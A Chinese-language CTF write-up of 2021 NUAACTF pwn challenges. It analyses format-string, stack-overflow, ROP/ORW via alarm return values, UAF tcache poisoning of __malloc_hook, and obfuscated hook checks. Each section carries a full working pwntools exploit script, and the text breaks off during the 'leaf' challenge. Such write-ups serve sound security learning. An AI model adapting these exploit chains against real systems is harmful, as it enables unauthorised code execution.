2021NUAACTF PWN&RE WP详解
2021NUAACTF PWN&RE WP详解
前言
这是2021年NUAACTF的pwn题目和部分re的详细分析,官方给的wp只有一句话,我对其进行详细的分析,记录如下,若有错误,请指正。
PWN -> format (fmt)
题目分析
题目没有开pie,环境20.04,ida查看有一个格式化字符串漏洞:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+4h] [rbp-1Ch]
void *buf; // [rsp+8h] [rbp-18h]
char format[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("./flag", 0);
buf = malloc(0x30uLL);
read(fd, buf, 0x30uLL);
close(fd);
read(0, format, 8uLL);
printf(format); <----fmt
free(buf);
return 0;
}
看到在这里可以泄露栈地址以及栈地址指向的内容,所以经过调试确定偏移后,直接输入%7$s
就可以输出flag。
PWN -> tiny (alarm返回值、rop、orw)
题目分析
保护只开了NX保护,环境20.04,shellcode不能用,ida查看伪代码:
__int64 start()
{
signed __int64 v0; // rax
signed __int64 v1; // rax
sys_alarm();
v0 = sys_write(1u, s1, 0x24uLL);
v1 = sys_write(1u, s2, 0x1CuLL);
return v();
}
程序没有多余的函数还有段,只有四个函数start、vul、alarm、libc_csu_init,程序先alarm然后输出提示信息,输入字符串,在vul函数中存在溢出:
__int64 vul()
{
signed __int64 v0; // rax
signed __int64 v1; // rax
char buf[8]; // [rsp+8h] [rbp-8h] BYREF
v0 = sys_read(0, buf, 0x70uLL); <---overflow
v1 = sys_write(1u, s3, 4uLL);
return 114514LL;
}
没开pie,可以rop,只有一个alarm函数,可能利用过程会用到sys_alarm()。
利用思路
题目没有链接系统库和启动文件,ida分析就只有4个函数,有一个栈溢出,可以进行rop,没有libc库,不能获取shell,只能orw去读取flag,能用的rop链有sys_read、sys_write,open可以通过改变rax的值来调用,关键是怎么控制rax的值,vul函数在返回前将rax修改:
.text:0000000000401070 public vul
.text:0000000000401070 vul proc near ; CODE XREF: _start+4D↑p
.text:0000000000401070
.text:0000000000401070 buf = byte ptr -8
.text:0000000000401070
.text:0000000000401070 ; __unwind {
.text:0000000000401070 endbr64
.text:0000000000401074 push rbp
.text:0000000000401075 mov rbp, rsp
.text:0000000000401078 sub rsp, 10h
.text:000000000040107C lea rax, [rbp+buf]
.text:0000000000401080 mov rsi, rax ; buf
.text:0000000000401083 mov edi, 0 ; fd
.text:0000000000401088 mov eax, 0
.text:000000000040108D mov edx, 70h ; 'p' ; count
.text:0000000000401092 syscall ; LINUX - sys_read
.text:0000000000401094 nop
.text:0000000000401095 nop
.text:0000000000401096 nop
.text:0000000000401097 mov edx, 4 ; count
.text:000000000040109C mov edi, 1 ; fd
.text:00000000004010A1 lea rsi, s3 ; "Bye\n"
.text:00000000004010A8 mov eax, 1
.text:00000000004010AD syscall ; LINUX - sys_write
.text:00000000004010AF nop
.text:00000000004010B0 nop
.text:00000000004010B1 nop
.text:00000000004010B2 mov eax, 1BF52h <-------rax = 0x1bf52>
.text:00000000004010B7 leave
.text:00000000004010B8 retn
.text:00000000004010B8 ; } // starts at 401070
.text:00000000004010B8 vul endp
所以通过read读入字节数控制rax行不通。思索还有啥能控制rax的呢?果然通过查alarm函数返回值知道,alarm函数返回值通俗的说是距alarm还剩的秒数,这里要控制rax = 2调用open,就要在alarm剩余两秒的时候调用,函数返回2,同理在alarm剩余1秒的时候调用alarm,rax = 1调用write,实现读取flag。思路可以将栈迁移到bss段,然后在bss段进行orw。
利用步骤:
- 通过栈溢出控制rbp为bss+0x30,返回地址为rop,调用sys_read,将./flag写入bss
- 通过alarm设置rax = 2,rop调用sys_open打开./flag文件
- rop调用sys_read,将fd(flag)读入bss-0x120处
- 通过alarm设置rax = 1,rop调用sys_write输出flag
exp
from pwn import *
context.log_level='debug'
context.terminal = ['/bin/tmux', 'split', '-h']
sh = process('./tiny')
bss = 0x405000-0x100
vul = 0x401070
alarm = 0x401055
syscall = 0x4010ad
pop_rdi = 0x401103
pop_rsi_r15 = 0x401101
'''
.text:0000000000401088 mov eax, 0
.text:000000000040108D mov edx, 70h ; 'p' ; count
.text:0000000000401092 syscall ; LINUX - sys_read
'''
edi_0_edx_70_eax_0_syscall = 0x401083
#gdb.attach(sh)
#pause()
sh.recvuntil('pwned!')
payload = p64(0) + p64(bss+0x30)
payload += p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(edi_0_edx_70_eax_0_syscall) #0x20 read(0,bss,0x70)
sh.send(payload)
sh.recvuntil('Bye')
bp_payload = b'./flag\x00\x00' + b'\x00'*0x28 + p64(vul) + p64(vul) + p64(vul)
sh.sendline(bp_payload)
payload = p64(0) + p64(bss + 0x70)
payload += p64(alarm) + p64(pop_rdi) + p64(bss) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(syscall) + p64(vul) #0x40 open(bss,0,0)
sleep(10) # rax = 2 open
sh.send(payload)
sh.recvuntil('Bye')
sh.recvuntil('Bye')
payload = p64(0) + p64(bss+0xa8)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(bss-0x120) + p64(0) + p64(0x401088) + p64(vul) #0x30 read(3,bss-0x120,0x70)
sh.send(payload)
sleep(11) # rax = 1 write
#gdb.attach(sh,'b *0x40106d')
sh.recvuntil('Bye')
payload = p64(0) + p64(bss)
payload += p64(alarm) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(bss-0x120) + p64(0) + p64(0x40108d) # write(1,bss-0x120,0x70)
sh.send(payload)
sh.interactive()
总结
这个题第一次遇见,只有几个函数,程序编译的时候去掉了startfiles,程序用汇编编写,思路是栈溢出,通过alarm函数的返回值控制rax的值,从而进行orw来读取flag,第一次关注了alarm返回值的作用。
PWN -> nohook (UAF、edit检测hook、花指令)
题目分析
保护全开,漏洞点如下:
delete函数
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
puts("id:");
v0 = itoll_read();
if ( v0 <= 31 )
{
if ( qword_4080[v0] )
free((void *)qword_4080[v0]); // UAF
}
}
存在UAF,可以在free后仍可操作free块。
edit函数:
__int64 edit()
{
__int64 result; // rax
int v1; // [rsp+14h] [rbp-4h]
puts("id:");
result = itoll_read();
v1 = result;
if ( (unsigned int)result <= 0x1F )
{
result = qword_4080[(unsigned int)result];
if ( result )
result = read(0, (void *)qword_4080[v1], dword_4180[v1]);
}
return result;
}
貌似没啥问题,但是这里可以看到汇编有一些蹊跷,有很多nop。仔细看是花指令隐藏了后面的逻辑:
.text:00000000000014D7 mov edi, 0 ; fd
.text:00000000000014DC call _read
.text:00000000000014E1 nop
.text:00000000000014E2 nop
.text:00000000000014E3 nop
.text:00000000000014E4 call $+5
.text:00000000000014E9 add [rsp+18h+var_18], 6
.text:00000000000014EE retn
.text:00000000000014EF ; ---------------------------------------------------------------------------
.text:00000000000014EF mov rax, cs:off_4018
去花后,显现出来真实隐藏的逻辑:
__int64 edit()
{
__int64 result; // rax
int v1; // [rsp+14h] [rbp-4h]
puts("id:");
result = itoll_read();
v1 = result;
if ( (unsigned int)result <= 0x1F )
{
result = qword_4080[(unsigned int)result];
if ( result )
{
read(0, (void *)qword_4080[v1], dword_4180[v1]);
if ( *(_QWORD *)off_4018 || (result = *(_QWORD *)off_4020) != 0 ) // *(long long*)freehk!=0||*(long long*)mallochk!=0
{
*(_QWORD *)off_4018 = 0LL;
result = (__int64)off_4020;
*(_QWORD *)off_4020 = 0LL;
}
}
}
return result;
}
经过偏移调试,可以知道这里是判断freehook和mallochook是否为0,如果发现不为零就置零,这个操作防止了直接edit修改free/malloc hook为system。
利用方式
存在UAF,可以通过unsortedbin泄露libc,然后构造tcache attack使得tcache指向system,然后再构造同样大小的tcache指向malloc hook,此时tcache链表中链接顺序为:mallochook->system。实现了与edit直接修改mallochook为system相同的作用。
利用步骤:
- 申请largebin 然后free进入unsortedbin,泄露libc
- 构造tcache attack申请到mallochook
- 构造tcache attack使得tcache指向system
- free 步骤2中申请到的mallochook,使得mallochook -> system
- add(“/bin/sh”)触发mallochook,size为longlong类型,可以size=‘/bin/sh’
- get shell
总结
题目条件有很明显的为这种利用方式开路,首先delete的UAF,其次size是longlong类型,可以直接malloc(size) ->system(‘/bin/sh’),题目隐藏了关键nohook的点(花指令),坑点之一就在这,做提前要看仔细了,之后就是巧妙地用free的顺序绕过了edit对malloc/free hook的检测,其实就是将mallochook的fd指针指向system就能实现和直接用edit修改mallochook的效果,而tcache链表刚好是由fd来链接的,所以可以通过free顺序实现修改mallochook -> system。
exp
#utf-8
from pwn import *
context.log_level='debug'
context.terminal = ["/bin/tmux", "sp",'-h']
sh = process('./nohook')
#sh = remote('47.104.143.202',25997)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size):
sh.recvuntil('exit')
sh.sendline('1')
sh.recvuntil('size:')
sh.sendline(str(size))
def dele(idx):
sh.recvuntil('exit')
sh.sendline('3')
sh.recvuntil('id:')
sh.sendline(str(idx))
def edit(idx,content):
sh.recvuntil('exit')
sh.sendline('4')
sh.recvuntil('id:')
sh.sendline(str(idx))
sh.send(content)
def show(idx):
sh.recvuntil('exit')
sh.sendline('2')
sh.recvuntil('id:')
sh.sendline(str(idx))
add(0x420)#0 large bin
add(0x10)#1
edit(1,'/bin/sh\x00')
dele(0) # free to unsorted bin
show(0) # UAF
sh.recvuntil('\x7f\x00\x00')
libcbase = u64(sh.recv(6).ljust(8,b'\x00')) + 0x7f2be7c93000 - 0x7f2be7e7ebe0
binsh = libcbase + 0x7f7c9aa4c5aa - 0x7f7c9a895000
print hex(libcbase)
#gdb.attach(sh)
add(0x30)#2
add(0x30)#3
dele(3)
dele(2)
edit(2,p64(libcbase+libc.sym['__malloc_hook']-0x10))
add(0x30)#4 -2
add(0x30)#5
edit(5,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21))
add(0x10)#6
add(0x10)#7
dele(7)
dele(6)
edit(6,p64(libcbase+libc.sym['__malloc_hook']))
add(0x10)#8-6
add(0x10)#9 f
######### not used
add(0x10)#10
add(0x10)#11
dele(11)
dele(10)
edit(10,p64(libcbase+libc.sym['__memalign_hook']))
add(0x10)#12
add(0x10)#13
one=[0xe6c7e,0xe6c81,0xe6c84]
edit(13,p64(libcbase+one[0])+p64(0x21))
########### not used
add(0x10)#14
add(0x10)#15
dele(15)
dele(14)
edit(14,p64(libcbase+libc.sym['system']))
add(0x10)
#gdb.attach(sh)
dele(9) # free_hook -> system
gdb.attach(sh)
add(str(binsh-1))
log.success(hex(libcbase))
sh.interactive()
PWN -> tanchishe (栈溢出)
题目分析
程序开了NX,环境2.31,no pie,no canary,程序函数比较多,是一个贪吃蛇小游戏,找程序漏洞点不好找,可以换个思路,如果是栈的漏洞,栈溢出很常见,那么造成栈溢出的只能是用户输入,那么程序中用户输入的点就一处,就是在结束游戏的时候让输入用户名,所以ida打开直接找到输入name的地方看看有没有漏洞点:
__int64 __fastcall sub_401502(unsigned int a1)
{
__int64 result; // rax
char src[212]; // [rsp+10h] [rbp-100h] BYREF
int v3; // [rsp+E4h] [rbp-2Ch]
__int64 v4; // [rsp+E8h] [rbp-28h]
int v5; // [rsp+F4h] [rbp-1Ch]
__int64 v6; // [rsp+F8h] [rbp-18h]
int (**v7)(const char *, ...); // [rsp+100h] [rbp-10h]
int i; // [rsp+10Ch] [rbp-4h]
v6 = 138464LL;
i = 0;
v5 = 0;
fflush(stdin);
sub_4014C8();
sub_401406(10LL, 5LL);
printf("Your score is in the top five");
fflush(stdout);
sub_401406(10LL, 6LL);
printf("Please enter your name: ");
fflush(stdout);
v7 = &printf;
((void (__fastcall *)(char *))(&printf + 17308))(src); <---------stack over------>
if ( dest )
free(dest);
dest = (char *)malloc(0xC8uLL);
strcpy(dest, src); <-----------heap over--------->
result = a1;
dword_406160 = a1;
for ( i = 4; i > 0; --i )
{
v4 = qword_406120[i];
v3 = dword_406150[i];
if ( v3 <= dword_406150[i - 1] )
{
result = qword_406120[i - 1];
if ( result )
break;
}
dword_406150[i] = dword_406150[i - 1];
qword_406120[i] = qword_406120[i - 1];
dword_406150[i - 1] = v3;
result = v4;
qword_406120[i - 1] = v4;
}
return result;
}
这里有两个点,(&printf + 17308)
是scanf,这里没有限制长度,栈溢出,下面strcpy复制到heap上,造成heap overflow。
利用方法
通过栈溢出就可以完成利用,溢出覆盖返回地址为puts,泄露libc,然后再次返回input name,再次栈溢出rop返回到system
exp
#utf-8
from pwn import *
context.log_level='debug'
context.terminal = ["/bin/tmux", "sp",'-h']
sh = process('./tanchishe')
#sh = remote('47.104.143.202',25997)
#s = ssh(host='127.0.0.1',user='ctf',password='NUAA2021',port=65500)
#sh = s.process('/home/ctf/tanchishe')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./tanchishe')
sh.recvuntil('Continue...')
sh.send('\n')
sh.recvuntil('Exit')
sh.send('\n')
sh.recvuntil('1 and 9.')
sh.send('9')
sh.recv()
sh.recvuntil(':.......::::::...:::::........::..:::::..::....::\n')
sh.send('\n')
pop_rdi = 0x00000000004030e3
pop_rsi_r15 = 0x00000000004030e1
gdb.attach(sh,'b *0x40160E')
sh.recvuntil('your name: ')
sh.send(b'a'*0xc0 +p64(0xdeadbeef) + p64(0x1f951) + p64(0)*7 + p64(pop_rdi) + p64(elf.got['printf'])+p64(elf.plt['puts']) + p64(0x401502) +b'\n')
sh.recvuntil('\xe0')
libcbase = u64( ( b'\xe0' + sh.recv(5)).ljust(8,b'\x00') ) - 0x64de0
log.success(hex(libcbase))
#pause()
binsh = libcbase + libc.search('/bin/sh').next()
log.success(hex(binsh))
#gdb.attach(sh,'b *0x401737')
sh.recvuntil('name')
#gdb.attach(sh,'b *0x401737')
#
sh.send(b'a'*0xc0 +p64(0xdeadbeef) + p64(0x1f951) + p64(0)*7 + p64(pop_rdi) + p64(binsh) +p64(0x401757)+p64(elf.plt['system']) + p64(0x401502) +b'\n')
##############in ssh change system to orw
sh.interactive()
#log.success(hex(libcbase))
PWN -> leaf (binary tree、UAF)
题目分析
题目给的附件是程序leaf和libc-2.31.so,程序保护全开,运行程序:
栖霞山的枫叶红了, 拾起一片枫叶, 写满对你的思念.
1. 写下对你的思念.
2. 交换彼此的思念.
3. 读一封枫叶的书信.
4. 扔下这片枫叶.
5. 让我来切身体会吧.
6. 重新书写这份思念.
Your Choice:
是不是看见这个菜单就头疼呢?我也是,